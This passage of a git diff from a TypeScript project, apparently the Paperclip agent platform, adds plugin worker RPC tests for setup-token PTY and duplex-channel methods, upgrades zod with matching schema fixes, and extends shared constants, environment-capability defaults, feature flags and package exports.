+      const message = parseMessage(line);
+      if (isJsonRpcResponse(message)) {
+        pending.get(String(message.id))?.(message);
+        pending.delete(String(message.id));
+        return;
+      }
+      if (isJsonRpcNotification(message)) {
+        notifications.push(message as JsonRpcNotification);
+      }
+    });
+
+    try {
+      await expect(
+        callWorker("initialize", {
+          manifest: {
+            id: "paperclip.setup-token-pty",
+            apiVersion: 1,
+            version: "1.0.0",
+            displayName: "Setup Token PTY Test",
+            description: "Test plugin",
+            author: "Paperclip",
+            categories: ["automation"],
+            capabilities: [],
+            entrypoints: {},
+          },
+          config: {},
+          databaseNamespace: null,
+        }),
+      ).resolves.toMatchObject({
+        ok: true,
+        supportedMethods: expect.arrayContaining([
+          "setupTokenPtyOpen",
+          "setupTokenPtyInput",
+          "setupTokenPtyStop",
+          "setupTokenPtyClose",
+        ]),
+      });
+
+      await expect(
+        callWorker("setupTokenPtyOpen", {
+          hostRouteId: "route-1",
+          driverKey: "daytona",
+          companyId: "company-1",
+          environmentId: "env-1",
+          providerLeaseId: "lease-1",
+          command: "claude setup-token",
+        }),
+      ).resolves.toEqual({ workerSessionId: "ws-1" });
+
+      // The worker streams output as a notification bound to the worker session id.
+      emitOutput?.("prompt output");
+      await callWorker("setupTokenPtyInput", { workerSessionId: "ws-1", data: "browser-code" });
+      await callWorker("setupTokenPtyStop", { workerSessionId: "ws-1" });
+      resolveWait?.({ exitCode: 0 });
+      await expect(
+        callWorker("setupTokenPtyClose", { hostRouteId: "route-1" }),
+      ).resolves.toEqual({ hostRouteId: "route-1" });
+
+      await new Promise((resolve) => setImmediate(resolve));
+
+      expect(inputs).toEqual(["browser-code"]);
+      expect(killed).toBe(1);
+      expect(closed).toBe(1);
+      const outputNotes = notifications.filter(
+        (note) => note.method === "setupTokenPty.output",
+      );
+      expect(outputNotes.map((note) => note.params)).toEqual([
+        { workerSessionId: "ws-1", chunk: "prompt output" },
+      ]);
+      const exitNotes = notifications.filter(
+        (note) => note.method === "setupTokenPty.exit",
+      );
+      expect(exitNotes.map((note) => note.params)).toEqual([
+        { workerSessionId: "ws-1", exitCode: 0 },
+      ]);
+    } finally {
+      worker.stop();
+      hostReadline.close();
+    }
+  });
+});
+
+describe("worker duplex channel dispatch", () => {
+  it("dispatches open, write, stop, and close, and reports the duplex methods", async () => {
+    const hostToWorker = new PassThrough();
+    const workerToHost = new PassThrough();
+    const hostReadline = createInterface({ input: workerToHost });
+    const pending = new Map<string, (response: JsonRpcResponse) => void>();
+    let nextRequestId = 1;
+
+    const writes: string[] = [];
+    let stopped = 0;
+    let closed = 0;
+
+    // The plugin declares the four duplex channel handlers. The open returns a
+    // worker session id. The close keys on the host route id and returns a bound
+    // acknowledgement.
+    const controllablePlugin = definePlugin({
+      async setup() {},
+      async onDuplexChannelOpen(params) {
+        expect(params.hostRouteId).toBe("route-1");
+        expect(params.command).toEqual(["paperclip-bridge"]);
+        expect(params.providerLeaseId).toBe("lease-1");
+        return { workerSessionId: "ws-1" };
+      },
+      async onDuplexChannelWrite(params) {
+        writes.push(params.data);
+      },
+      async onDuplexChannelStop() {
+        stopped += 1;
+      },
+      async onDuplexChannelClose(params) {
+        closed += 1;
+        return { hostRouteId: params.hostRouteId };
+      },
+    });
+
+    const worker = startWorkerRpcHost({
+      plugin: controllablePlugin,
+      stdin: hostToWorker,
+      stdout: workerToHost,
+    });
+
+    function callWorker(method: string, params: unknown) {
+      const id = `host-${nextRequestId++}`;
+      const result = new Promise<unknown>((resolve, reject) => {
+        pending.set(id, (response) => {
+          if ("error" in response && response.error) {
+            reject(new Error(response.error.message));
+            return;
+          }
+          resolve((response as { result?: unknown }).result);
+        });
+      });
+      hostToWorker.write(serializeMessage(createRequest(method, params, id)));
+      return result;
+    }
+
+    hostReadline.on("line", (line) => {
+      const message = parseMessage(line);
+      if (isJsonRpcResponse(message)) {
+        pending.get(String(message.id))?.(message);
+        pending.delete(String(message.id));
+      }
+    });
+
+    try {
+      await expect(
+        callWorker("initialize", {
+          manifest: {
+            id: "paperclip.duplex-channel",
+            apiVersion: 1,
+            version: "1.0.0",
+            displayName: "Duplex Channel Test",
+            description: "Test plugin",
+            author: "Paperclip",
+            categories: ["automation"],
+            capabilities: [],
+            entrypoints: {},
+          },
+          config: {},
+          databaseNamespace: null,
+        }),
+      ).resolves.toMatchObject({
+        ok: true,
+        supportedMethods: expect.arrayContaining([
+          "duplexChannelOpen",
+          "duplexChannelWrite",
+          "duplexChannelStop",
+          "duplexChannelClose",
+        ]),
+      });
+
+      await expect(
+        callWorker("duplexChannelOpen", {
+          hostRouteId: "route-1",
+          driverKey: "daytona",
+          companyId: "company-1",
+          environmentId: "env-1",
+          providerLeaseId: "lease-1",
+          command: ["paperclip-bridge"],
+        }),
+      ).resolves.toEqual({ workerSessionId: "ws-1" });
+
+      await callWorker("duplexChannelWrite", { workerSessionId: "ws-1", data: "payload" });
+      await callWorker("duplexChannelStop", { workerSessionId: "ws-1" });
+      await expect(
+        callWorker("duplexChannelClose", { hostRouteId: "route-1" }),
+      ).resolves.toEqual({ hostRouteId: "route-1" });
+
+      expect(writes).toEqual(["payload"]);
+      expect(stopped).toBe(1);
+      expect(closed).toBe(1);
+    } finally {
+      worker.stop();
+      hostReadline.close();
+    }
+  });
+
+  it("reports no duplex methods when the plugin declares no duplex handlers", async () => {
+    const hostToWorker = new PassThrough();
+    const workerToHost = new PassThrough();
+    const hostReadline = createInterface({ input: workerToHost });
+    const pending = new Map<string, (response: JsonRpcResponse) => void>();
+    let nextRequestId = 1;
+
+    // A plugin with no duplex handlers advertises no duplex method. The Phase 1
+    // capability `duplexCommandStream` still resolves false for this provider,
+    // because the prerequisite verb `duplexChannelOpen` is absent.
+    const barePlugin = definePlugin({
+      async setup() {},
+    });
+
+    const worker = startWorkerRpcHost({
+      plugin: barePlugin,
+      stdin: hostToWorker,
+      stdout: workerToHost,
+    });
+
+    function callWorker(method: string, params: unknown) {
+      const id = `host-${nextRequestId++}`;
+      const result = new Promise<unknown>((resolve, reject) => {
+        pending.set(id, (response) => {
+          if ("error" in response && response.error) {
+            reject(new Error(response.error.message));
+            return;
+          }
+          resolve((response as { result?: unknown }).result);
+        });
+      });
+      hostToWorker.write(serializeMessage(createRequest(method, params, id)));
+      return result;
+    }
+
+    hostReadline.on("line", (line) => {
+      const message = parseMessage(line);
+      if (isJsonRpcResponse(message)) {
+        pending.get(String(message.id))?.(message);
+        pending.delete(String(message.id));
+      }
+    });
+
+    try {
+      const result = (await callWorker("initialize", {
+        manifest: {
+          id: "paperclip.bare",
+          apiVersion: 1,
+          version: "1.0.0",
+          displayName: "Bare Test",
+          description: "Test plugin",
+          author: "Paperclip",
+          categories: ["automation"],
+          capabilities: [],
+          entrypoints: {},
+        },
+        config: {},
+        databaseNamespace: null,
+      })) as { supportedMethods: string[] };
+
+      expect(result.supportedMethods).not.toContain("duplexChannelOpen");
+      expect(result.supportedMethods).not.toContain("duplexChannelWrite");
+      expect(result.supportedMethods).not.toContain("duplexChannelStop");
+      expect(result.supportedMethods).not.toContain("duplexChannelClose");
+    } finally {
+      worker.stop();
+      hostReadline.close();
+    }
+  });
+});
diff --git a/packages/plugins/sdk/vitest.config.ts b/packages/plugins/sdk/vitest.config.ts
index faa6d98e10c..3834141eeeb 100644
--- a/packages/plugins/sdk/vitest.config.ts
+++ b/packages/plugins/sdk/vitest.config.ts
@@ -3,6 +3,6 @@ import { defineConfig } from "vitest/config";
 export default defineConfig({
   test: {
     environment: "node",
-    include: ["tests/**/*.test.ts"],
+    include: ["tests/**/*.test.ts", "src/**/*.test.ts"],
   },
 });
diff --git a/packages/shared/package.json b/packages/shared/package.json
index 0f441450a28..aeb8fe12353 100644
--- a/packages/shared/package.json
+++ b/packages/shared/package.json
@@ -45,10 +45,13 @@
     "typecheck": "tsc --noEmit"
   },
   "dependencies": {
-    "zod": "^3.24.2"
+    "zod": "^4.4.3"
   },
   "devDependencies": {
-    "@types/node": "^22.20.1",
+    "@types/node": "^24.0.0",
     "typescript": "^5.7.3"
+  },
+  "engines": {
+    "node": ">=24.11.0"
   }
 }
diff --git a/packages/shared/src/adapter-auth-check-code.test.ts b/packages/shared/src/adapter-auth-check-code.test.ts
new file mode 100644
index 00000000000..5f466b28870
--- /dev/null
+++ b/packages/shared/src/adapter-auth-check-code.test.ts
@@ -0,0 +1,9 @@
+import { describe, it, expect } from "vitest";
+
+import { ADAPTER_AUTH_MISSING_CHECK_CODE } from "./adapter-auth-check-code.js";
+
+describe("ADAPTER_AUTH_MISSING_CHECK_CODE", () => {
+  it("keeps the canonical missing-auth check code stable", () => {
+    expect(ADAPTER_AUTH_MISSING_CHECK_CODE).toBe("adapter_auth_missing");
+  });
+});
diff --git a/packages/shared/src/adapter-auth-check-code.ts b/packages/shared/src/adapter-auth-check-code.ts
new file mode 100644
index 00000000000..a8995b2d487
--- /dev/null
+++ b/packages/shared/src/adapter-auth-check-code.ts
@@ -0,0 +1,12 @@
+/**
+ * The canonical check code an adapter Test engine emits when a sandbox target
+ * has no ready authentication. The user interface reads this stable code to
+ * decide login eligibility. The user interface does not read the message text
+ * or the top-level status.
+ *
+ * The name is neutral. It carries no vendor name and no login-flow word, because
+ * a Test result can sync to public packages. The adapters and the user interface
+ * import this one constant, so the user interface can gate login from one code
+ * across adapters.
+ */
+export const ADAPTER_AUTH_MISSING_CHECK_CODE = "adapter_auth_missing";
diff --git a/packages/shared/src/config-schema.ts b/packages/shared/src/config-schema.ts
index 190645062ef..f9c8d41cb09 100644
--- a/packages/shared/src/config-schema.ts
+++ b/packages/shared/src/config-schema.ts
@@ -101,11 +101,11 @@ export const secretsConfigSchema = z.object({
 
 export const telemetryConfigSchema = z.object({
   enabled: z.boolean().default(true),
-}).passthrough().default({});
+}).passthrough().prefault({});
 
 export const updatesConfigSchema = z.object({
   checkEnabled: z.boolean().default(true),
-}).passthrough().default({});
+}).passthrough().prefault({});
 
 export const paperclipConfigSchema = z
   .object({
@@ -210,18 +210,14 @@ function isRecord(value: unknown): value is Record<string, unknown> {
 }
 
 function unwrapConfigSchema(schema: z.ZodTypeAny): z.ZodTypeAny {
-  let current = schema;
+  let current: z.ZodTypeAny = schema;
   while (true) {
-    if (current instanceof z.ZodEffects) {
-      current = current.innerType();
-      continue;
-    }
     if (current instanceof z.ZodOptional) {
-      current = current.unwrap();
+      current = current.unwrap() as z.ZodTypeAny;
       continue;
     }
     if (current instanceof z.ZodDefault) {
-      current = current.removeDefault();
+      current = current.unwrap() as z.ZodTypeAny;
       continue;
     }
     return current;
diff --git a/packages/shared/src/constants.ts b/packages/shared/src/constants.ts
index bcce7f48db3..935cf0e5106 100644
--- a/packages/shared/src/constants.ts
+++ b/packages/shared/src/constants.ts
@@ -37,6 +37,7 @@ export const AGENT_ADAPTER_TYPES = [
   "grok_local",
   "hermes_gateway",
   "hermes_local",
+  "kimi_local",
   "opencode_local",
   "pi_local",
   "cursor",
@@ -269,13 +270,65 @@ export const ISSUE_THREAD_INTERACTION_KINDS = [
 ] as const;
 export type IssueThreadInteractionKind = (typeof ISSUE_THREAD_INTERACTION_KINDS)[number];
 
-export const ISSUE_THREAD_INTERACTION_RESOLVER_POLICIES = [
-  "board_only",
+export const ISSUE_THREAD_INTERACTION_CANONICAL_RESOLVER_POLICIES = [
+  "anyone",
+  "not_creator",
+  "human_only",
+] as const;
+export type IssueThreadInteractionCanonicalResolverPolicy =
+  (typeof ISSUE_THREAD_INTERACTION_CANONICAL_RESOLVER_POLICIES)[number];
+
+export const ISSUE_THREAD_INTERACTION_LEGACY_RESOLVER_POLICY_ALIASES = [
   "board_or_agents",
+  "board_only",
+] as const;
+export type IssueThreadInteractionLegacyResolverPolicyAlias =
+  (typeof ISSUE_THREAD_INTERACTION_LEGACY_RESOLVER_POLICY_ALIASES)[number];
+
+/**
+ * Accepted resolver-policy input values. New product surfaces should use the
+ * canonical values; the two board-prefixed values remain write-compatible
+ * aliases for one migration window.
+ */
+export const ISSUE_THREAD_INTERACTION_RESOLVER_POLICIES = [
+  ...ISSUE_THREAD_INTERACTION_CANONICAL_RESOLVER_POLICIES,
+  ...ISSUE_THREAD_INTERACTION_LEGACY_RESOLVER_POLICY_ALIASES,
 ] as const;
 export type IssueThreadInteractionResolverPolicy =
   (typeof ISSUE_THREAD_INTERACTION_RESOLVER_POLICIES)[number];
 
+export const ISSUE_THREAD_INTERACTION_RESOLVER_POLICY_PROVENANCES = [
+  "explicit",
+  "inherited",
+  "legacy_inherited_restriction",
+] as const;
+export type IssueThreadInteractionResolverPolicyProvenance =
+  (typeof ISSUE_THREAD_INTERACTION_RESOLVER_POLICY_PROVENANCES)[number];
+
+export const ISSUE_THREAD_INTERACTION_EFFECTIVE_RESOLVER_POLICY_SOURCES = [
+  "requested",
+  "company_cap",
+  "governed_action",
+] as const;
+export type IssueThreadInteractionEffectiveResolverPolicySource =
+  (typeof ISSUE_THREAD_INTERACTION_EFFECTIVE_RESOLVER_POLICY_SOURCES)[number];
+
+export function normalizeIssueThreadInteractionResolverPolicy(
+  policy: IssueThreadInteractionResolverPolicy,
+): IssueThreadInteractionCanonicalResolverPolicy {
+  if (policy === "board_or_agents") return "anyone";
+  if (policy === "board_only") return "human_only";
+  return policy;
+}
+
+export function legacyIssueThreadInteractionResolverPolicyAlias(
+  policy: IssueThreadInteractionCanonicalResolverPolicy,
+): IssueThreadInteractionLegacyResolverPolicyAlias | null {
+  if (policy === "anyone") return "board_or_agents";
+  if (policy === "human_only") return "board_only";
+  return null;
+}
+
 export const REQUEST_CHECKBOX_CONFIRMATION_OPTION_LIMIT = 200;
 export const REQUEST_ITEM_VERDICTS_ITEM_LIMIT = REQUEST_CHECKBOX_CONFIRMATION_OPTION_LIMIT;
 
@@ -325,6 +378,7 @@ export type IssueSurfaceVisibility = (typeof ISSUE_SURFACE_VISIBILITIES)[number]
 
 export const ISSUE_RECOVERY_ACTION_KINDS = [
   "missing_disposition",
+  "deliberate_wait_without_target",
   "stranded_assigned_issue",
   "workspace_validation",
   "configuration_validation",
@@ -333,6 +387,8 @@ export const ISSUE_RECOVERY_ACTION_KINDS = [
 ] as const;
 export type IssueRecoveryActionKind = (typeof ISSUE_RECOVERY_ACTION_KINDS)[number];
 
+export const ISSUE_DISPOSITION_REPAIR_RETRY_REASON = "issue_disposition_repair";
+
 export const ISSUE_RECOVERY_ACTION_STATUSES = [
   "active",
   "escalated",
diff --git a/packages/shared/src/environment-support.test.ts b/packages/shared/src/environment-support.test.ts
index 396945b027a..94926016aeb 100644
--- a/packages/shared/src/environment-support.test.ts
+++ b/packages/shared/src/environment-support.test.ts
@@ -42,4 +42,51 @@ describe("isSandboxProviderSupportedForAdapter", () => {
       }),
     ]);
   });
+
+  it("treats kimi_local as a remote-managed local adapter", () => {
+    expect(adapterSupportsRemoteManagedEnvironments("kimi_local")).toBe(true);
+    expect(supportedEnvironmentDriversForAdapter("kimi_local")).toEqual(["local", "ssh", "sandbox"]);
+    expect(
+      isSandboxProviderSupportedForAdapter("kimi_local", "fake-plugin", ["fake-plugin"]),
+    ).toBe(true);
+  });
+
+  it("includes kimi_local sandbox support in environment capabilities", () => {
+    const capabilities = getEnvironmentCapabilities(["kimi_local"], {
+      sandboxProviders: {
+        "fake-plugin": { displayName: "Fake Plugin" },
+      },
+    });
+
+    expect(capabilities.adapters).toEqual([
+      expect.objectContaining({
+        adapterType: "kimi_local",
+        drivers: expect.objectContaining({ sandbox: "supported", ssh: "supported" }),
+        sandboxProviders: expect.objectContaining({ "fake-plugin": "supported" }),
+      }),
+    ]);
+  });
+});
+
+describe("getEnvironmentCapabilities reusable leases default", () => {
+  it("test_absent_reusable_leases_presents_as_false", () => {
+    const capabilities = getEnvironmentCapabilities(["codex_local"], {
+      sandboxProviders: {
+        // The manifest does not declare supportsReusableLeases.
+        "fake-plugin": { displayName: "Fake Plugin" },
+      },
+    });
+    expect(capabilities.sandboxProviders["fake-plugin"].supportsReusableLeases).toBe(false);
+
+    // A manifest that declares true still presents as true.
+    const declared = getEnvironmentCapabilities(["codex_local"], {
+      sandboxProviders: {
+        "reuse-plugin": { displayName: "Reuse Plugin", supportsReusableLeases: true },
+      },
+    });
+    expect(declared.sandboxProviders["reuse-plugin"].supportsReusableLeases).toBe(true);
+
+    // The built-in fake provider presents as false.
+    expect(capabilities.sandboxProviders.fake.supportsReusableLeases).toBe(false);
+  });
 });
diff --git a/packages/shared/src/environment-support.ts b/packages/shared/src/environment-support.ts
index a60f77c5dd7..5bb5a076ea3 100644
--- a/packages/shared/src/environment-support.ts
+++ b/packages/shared/src/environment-support.ts
@@ -1,6 +1,33 @@
 import type { AgentAdapterType, EnvironmentDriver } from "./constants.js";
 import type { SandboxEnvironmentProvider } from "./types/environment.js";
-import type { JsonSchema, PluginEnvironmentTemplateConfigBinding } from "./types/plugin.js";
+import type {
+  JsonSchema,
+  PluginEnvironmentTemplateConfigBinding,
+  SandboxProviderCapabilities,
+} from "./types/plugin.js";
+
+/**
+ * Resolve the DECLARED sandbox capabilities of a provider driver, with the
+ * legacy `supportsReusableLeases` flag folded in for compatibility.
+ *
+ * The result is a partial: a key is present only when the driver declared it,
+ * so a caller can tell a declared `false` from an absent key. The nested
+ * `sandboxCapabilities.reusableLeases` wins over the legacy flag when both are
+ * present. This is the DECLARATION only; the runtime still intersects it with
+ * the verified worker methods and any narrowing before it grants a capability.
+ */
+export function resolveDeclaredSandboxCapabilities(
+  driver: {
+    supportsReusableLeases?: boolean;
+    sandboxCapabilities?: SandboxProviderCapabilities;
+  },
+): SandboxProviderCapabilities {
+  const declared: SandboxProviderCapabilities = { ...(driver.sandboxCapabilities ?? {}) };
+  if (declared.reusableLeases === undefined && driver.supportsReusableLeases !== undefined) {
+    declared.reusableLeases = driver.supportsReusableLeases;
+  }
+  return declared;
+}
 
 export type EnvironmentSupportStatus = "supported" | "unsupported";
 
@@ -22,6 +49,7 @@ export interface EnvironmentProviderCapability {
   templateRefKind?: string;
   templateConfigBinding?: PluginEnvironmentTemplateConfigBinding;
   supportsTemplateDelete: boolean;
+  supportsLoginPty: boolean;
   displayName?: string;
   description?: string;
   source?: "builtin" | "plugin";
@@ -42,6 +70,7 @@ const REMOTE_MANAGED_ADAPTERS = new Set<AgentAdapterType>([
   "cursor",
   "gemini_local",
   "grok_local",
+  "kimi_local",
   "opencode_local",
   "pi_local",
 ]);
@@ -122,11 +151,14 @@ export function getEnvironmentCapabilities(
       supportsSavedProbe: true,
       supportsUnsavedProbe: true,
       supportsRunExecution: false,
-      supportsReusableLeases: true,
+      // The fake provider runtime declares false. The presentation must match
+      // it, so execution and presentation agree.
+      supportsReusableLeases: false,
       supportsInteractiveSetup: false,
       interactiveSetupConnectionTypes: [],
       supportsTemplateCapture: false,
       supportsTemplateDelete: false,
+      supportsLoginPty: false,
       displayName: "Fake",
       source: "builtin",
     },
@@ -137,13 +169,16 @@ export function getEnvironmentCapabilities(
       supportsSavedProbe: capability.supportsSavedProbe ?? true,
       supportsUnsavedProbe: capability.supportsUnsavedProbe ?? true,
       supportsRunExecution: capability.supportsRunExecution ?? true,
-      supportsReusableLeases: capability.supportsReusableLeases ?? true,
+      // Default absent to false. A manifest that does not declare reusable
+      // leases must present as false, so execution (=== true) agrees.
+      supportsReusableLeases: capability.supportsReusableLeases ?? false,
       supportsInteractiveSetup: capability.supportsInteractiveSetup ?? false,
       interactiveSetupConnectionTypes: capability.interactiveSetupConnectionTypes ?? [],
       supportsTemplateCapture: capability.supportsTemplateCapture ?? false,
       templateRefKind: capability.templateRefKind,
       templateConfigBinding: capability.templateConfigBinding,
       supportsTemplateDelete: capability.supportsTemplateDelete ?? false,
+      supportsLoginPty: capability.supportsLoginPty ?? false,
       displayName: capability.displayName,
       description: capability.description,
       source: capability.source ?? "plugin",
diff --git a/packages/shared/src/feature-catalog.ts b/packages/shared/src/feature-catalog.ts
index ef21ee914dd..664e167f5d1 100644
--- a/packages/shared/src/feature-catalog.ts
+++ b/packages/shared/src/feature-catalog.ts
@@ -51,9 +51,9 @@ export const INSTANCE_FEATURE_CATALOG: Record<InstanceFeatureKey, FeatureCatalog
     selfHostedDefault: false,
   },
   enableManagedSandboxOnly: {
-    title: "Managed Sandbox Only",
+    title: "Managed Environment Only",
     description:
-      "Hide the local environment and run all agents in the platform-managed sandbox environment.",
+      "Hide the local environment and run all agents in the platform-managed environment.",
     tier: "managed",
     cloudDefault: false,
     selfHostedDefault: false,
@@ -253,6 +253,14 @@ export const INSTANCE_FEATURE_CATALOG: Record<InstanceFeatureKey, FeatureCatalog
     cloudDefault: true,
     selfHostedDefault: false,
   },
+  enableSandboxDuplexBridge: {
+    title: "Sandbox Duplex Bridge",
+    description:
+      "Let a run open the sandbox duplex command-stream bridge when the provider grants the capability. The host reads this per run before it selects the transport. Off keeps the file bridge for every run.",
+    tier: "managed",
+    cloudDefault: false,
+    selfHostedDefault: false,
+  },
   enableWorktreeRunExecution: {
     title: "Worktree Run Execution",
     description:
diff --git a/packages/shared/src/frontmatter.ts b/packages/shared/src/frontmatter.ts
index 4ee9c9b9d7f..59cfd440d52 100644
--- a/packages/shared/src/frontmatter.ts
+++ b/packages/shared/src/frontmatter.ts
@@ -44,7 +44,7 @@ const skillMetadataValueSchema: z.ZodType<unknown> = z.lazy(() =>
     z.boolean(),
     z.null(),
     z.array(skillMetadataValueSchema),
-    z.record(skillMetadataValueSchema),
+    z.record(z.string(), skillMetadataValueSchema),
   ])
 );
 
@@ -52,7 +52,7 @@ export const skillFrontmatterSchema = z.object({
   name: z.string().regex(SKILL_FRONTMATTER_SLUG_RE, "Expected a lowercase URL slug."),
   description: z.string().min(1),
   "allowed-tools": z.array(z.string()).optional(),
-  metadata: z.record(skillMetadataValueSchema).optional(),
+  metadata: z.record(z.string(), skillMetadataValueSchema).optional(),
 }).passthrough();
 
 export const skillFrontmatterKnownKeys = [
diff --git a/packages/shared/src/index.ts b/packages/shared/src/index.ts
index eb81657f74c..dd55ba4d91d 100644
--- a/packages/shared/src/index.ts
+++ b/packages/shared/src/index.ts
@@ -1,4 +1,5 @@
 export { agentAdapterTypeSchema, optionalAgentAdapterTypeSchema } from "./adapter-type.js";
+export { ADAPTER_AUTH_MISSING_CHECK_CODE } from "./adapter-auth-check-code.js";
 export {
   decisionEffectStalenessSchema,
   decisionOptionStyleSchema,
@@ -83,6 +84,19 @@ export {
   type ResponsibleUserSource,
   type OriginatingActor,
 } from "./issue-attribution.js";
+export {
+  ARTIFACT_REVIEW_DOCUMENT_KEY_PREFIX,
+  MARKDOWN_ATTACHMENT_CONTENT_TYPES,
+  MARKDOWN_REVIEW_DOCUMENT_MAX_BYTES,
+  artifactReviewDocumentKey,
+  getAttachmentArtifactWorkProductMetadata,
+  getMarkdownWorkProductAttachmentMetadata,
+  isArtifactReviewDocumentKey,
+  isMarkdownArtifactWorkProduct,
+  isMarkdownAttachmentContent,
+  workProductIdFromArtifactReviewDocumentKey,
+  type AttachmentArtifactWorkProductLike,
+} from "./markdown-work-products.js";
 export {
   ISSUE_WRITE_DENIAL_CODES,
   describeIssueWriteDenial,
@@ -114,6 +128,7 @@ export type {
   AttentionFeedQuery,
   AttentionProjectRef,
   AttentionQueueRef,
+  AttentionResolverAudience,
   AttentionSeverity,
   AttentionSortMode,
   AttentionSourceKind,
@@ -284,7 +299,13 @@ export {
   ISSUE_COMMENT_PRESENTATION_DENSITIES,
   clampIssueRequestDepth,
   ISSUE_THREAD_INTERACTION_KINDS,
+  ISSUE_THREAD_INTERACTION_CANONICAL_RESOLVER_POLICIES,
+  ISSUE_THREAD_INTERACTION_LEGACY_RESOLVER_POLICY_ALIASES,
   ISSUE_THREAD_INTERACTION_RESOLVER_POLICIES,
+  ISSUE_THREAD_INTERACTION_RESOLVER_POLICY_PROVENANCES,
+  ISSUE_THREAD_INTERACTION_EFFECTIVE_RESOLVER_POLICY_SOURCES,
+  normalizeIssueThreadInteractionResolverPolicy,
+  legacyIssueThreadInteractionResolverPolicyAlias,
   ISSUE_THREAD_INTERACTION_STATUSES,
   ISSUE_THREAD_INTERACTION_CONTINUATION_POLICIES,
   ISSUE_ORIGIN_KINDS,
@@ -293,6 +314,7 @@ export {
   ISSUE_WATCHDOG_DISCOVERY_KINDS,
   ISSUE_SURFACE_VISIBILITIES,
   ISSUE_RECOVERY_ACTION_KINDS,
+  ISSUE_DISPOSITION_REPAIR_RETRY_REASON,
   ISSUE_RECOVERY_ACTION_STATUSES,
   ISSUE_RECOVERY_ACTION_OWNER_TYPES,
   ISSUE_RECOVERY_ACTION_OUTCOMES,
@@ -471,7 +493,11 @@ export {
   type IssueCommentPresentationTone,
   type IssueCommentPresentationDensity,
   type IssueThreadInteractionKind,
+  type IssueThreadInteractionCanonicalResolverPolicy,
+  type IssueThreadInteractionLegacyResolverPolicyAlias,
   type IssueThreadInteractionResolverPolicy,
+  type IssueThreadInteractionResolverPolicyProvenance,
+  type IssueThreadInteractionEffectiveResolverPolicySource,
   type IssueThreadInteractionStatus,
   type IssueThreadInteractionContinuationPolicy,
   REQUEST_CHECKBOX_CONFIRMATION_OPTION_LIMIT,
@@ -805,6 +831,14 @@ export type {
   AdapterAuthSessionPrompt,
   AdapterAuthSessionOwnerResponse,
   StartAdapterAuthSessionRequest,
+  AdapterAuthPanelMode,
+  ClaudeSetupTokenSessionPrompt,
+  ClaudeSetupTokenSessionResponse,
+  ClaudeSetupTokenSessionOwnerResponse,
+  SubmitBrowserCodeRequest,
+  ClaudeSetupTokenCompletionResponse,
+  SetupTokenTransportAdvisory,
+  SetupTokenTransportAdvisoryCode,
   AssetImage,
   Project,
   ProjectBudgetSummary,
@@ -857,6 +891,11 @@ export type {
   WorkspaceOperation,
   WorkspaceOperationPhase,
   WorkspaceOperationStatus,
+  WorkspaceLoginHandoffTicketResponse,
+  WorkspaceReadiness,
+  WorkspaceReadinessProbeResult,
+  WorkspaceReadinessState,
+  WorkspaceSeedReadinessState,
   NormalizedWorkspaceFileAvailabilityQuery,
   WorkspaceFileAvailabilityQuery,
   WorkspaceFileAvailabilityRequest,
@@ -951,6 +990,7 @@ export type {
   IssueSubtreeDiagnosticEdge,
   IssueSubtreeDiagnosticsResponse,
   IssueBlockerAttention,
+  IssueBlockerAttentionIssueSummary,
   IssueBlockerAttentionReason,
   IssueBlockerAttentionState,
   IssueReviewAttention,
@@ -1024,6 +1064,8 @@ export type {
   RequestConfirmationResult,
   RequestConfirmationToolActionPayload,
   RequestConfirmationToolActionResult,
+  RequestConfirmationSecretProposalPayload,
+  RequestConfirmationSecretProposalResult,
   RequestCheckboxConfirmationOption,
   RequestCheckboxConfirmationPayload,
   RequestCheckboxConfirmationResult,
@@ -1369,6 +1411,7 @@ export type {
   PluginWebhookDeclaration,
   PluginToolDeclaration,
   PluginEnvironmentDriverDeclaration,
+  SandboxProviderCapabilities,
   PluginEnvironmentTemplateConfigBinding,
   PluginManagedAgentDeclaration,
   PluginManagedProjectDeclaration,
@@ -1413,6 +1456,7 @@ export type {
   QuotaWindow,
   ProviderQuotaResult,
 } from "./types/index.js";
+export { WORKSPACE_READINESS_STATES } from "./types/index.js";
 export {
   COMPANY_SEARCH_EXTRACT_KINDS,
   COMPANY_SEARCH_EXTRACT_SCOPES,
@@ -1423,6 +1467,8 @@ export {
 export {
   ADAPTER_AUTH_SESSION_STATUSES,
   ADAPTER_AUTH_SESSION_INTERNAL_STATUSES,
+  ADAPTER_AUTH_PANEL_MODES,
+  SETUP_TOKEN_TRANSPORT_ADVISORY_CODE,
 } from "./types/index.js";
 export {
   ADAPTER_AUTH_SESSION_ACTIVE_STATUSES,
@@ -1438,6 +1484,27 @@ export {
   adapterAuthSessionOwnerResponseSchema,
   startAdapterAuthSessionRequestSchema,
 } from "./validators/adapter-auth-session.js";
+export {
+  startClaudeSetupTokenSessionRequestSchema,
+  adapterAuthPanelModeSchema,
+  claudeSetupTokenSessionResponseSchema,
+  claudeSetupTokenSessionPromptSchema,
+  claudeSetupTokenSessionOwnerResponseSchema,
+  setupTokenTransportAdvisorySchema,
+  submitBrowserCodeRequestSchema,
+  browserCodeSchema,
+  isValidBrowserCode,
+  BROWSER_CODE_MAX_LENGTH,
+  BROWSER_CODE_DISALLOWED_CHAR,
+  storedSessionIdSchema,
+  claudeSetupTokenCompletionResponseSchema,
+  claudeSetupTokenOverwriteSchema,
+  claudeOAuthTokenStatusResponseSchema,
+  type StartClaudeSetupTokenSessionRequest,
+  type ClaudeSetupTokenOverwrite,
+  type ClaudeOAuthTokenStatusResponse,
+  type BrowserCode,
+} from "./validators/claude-setup-token-session.js";
 export {
   ISSUE_REFERENCE_IDENTIFIER_RE,
   buildIssueReferenceHref,
@@ -2204,6 +2271,7 @@ export {
   pluginWebhookDeclarationSchema,
   pluginToolDeclarationSchema,
   pluginEnvironmentDriverDeclarationSchema,
+  sandboxProviderCapabilitiesSchema,
   pluginUiSlotDeclarationSchema,
   pluginLauncherActionDeclarationSchema,
   pluginLauncherRenderDeclarationSchema,
@@ -2223,6 +2291,7 @@ export {
   type PluginWebhookDeclarationInput,
   type PluginToolDeclarationInput,
   type PluginEnvironmentDriverDeclarationInput,
+  type SandboxProviderCapabilitiesInput,
   type PluginUiSlotDeclarationInput,
   type PluginLauncherActionDeclarationInput,
   type PluginLauncherRenderDeclarationInput,
@@ -2331,6 +2400,7 @@ export {
   getAdapterEnvironmentSupport,
   isEnvironmentDriverSupportedForAdapter,
   isSandboxProviderSupportedForAdapter,
+  resolveDeclaredSandboxCapabilities,
   supportedEnvironmentDriversForAdapter,
   supportedSandboxProvidersForAdapter,
 } from "./environment-support.js";
@@ -2389,6 +2459,7 @@ export {
   startEnvironmentCustomImageSetupSessionSchema,
   finishEnvironmentCustomImageSetupSessionSchema,
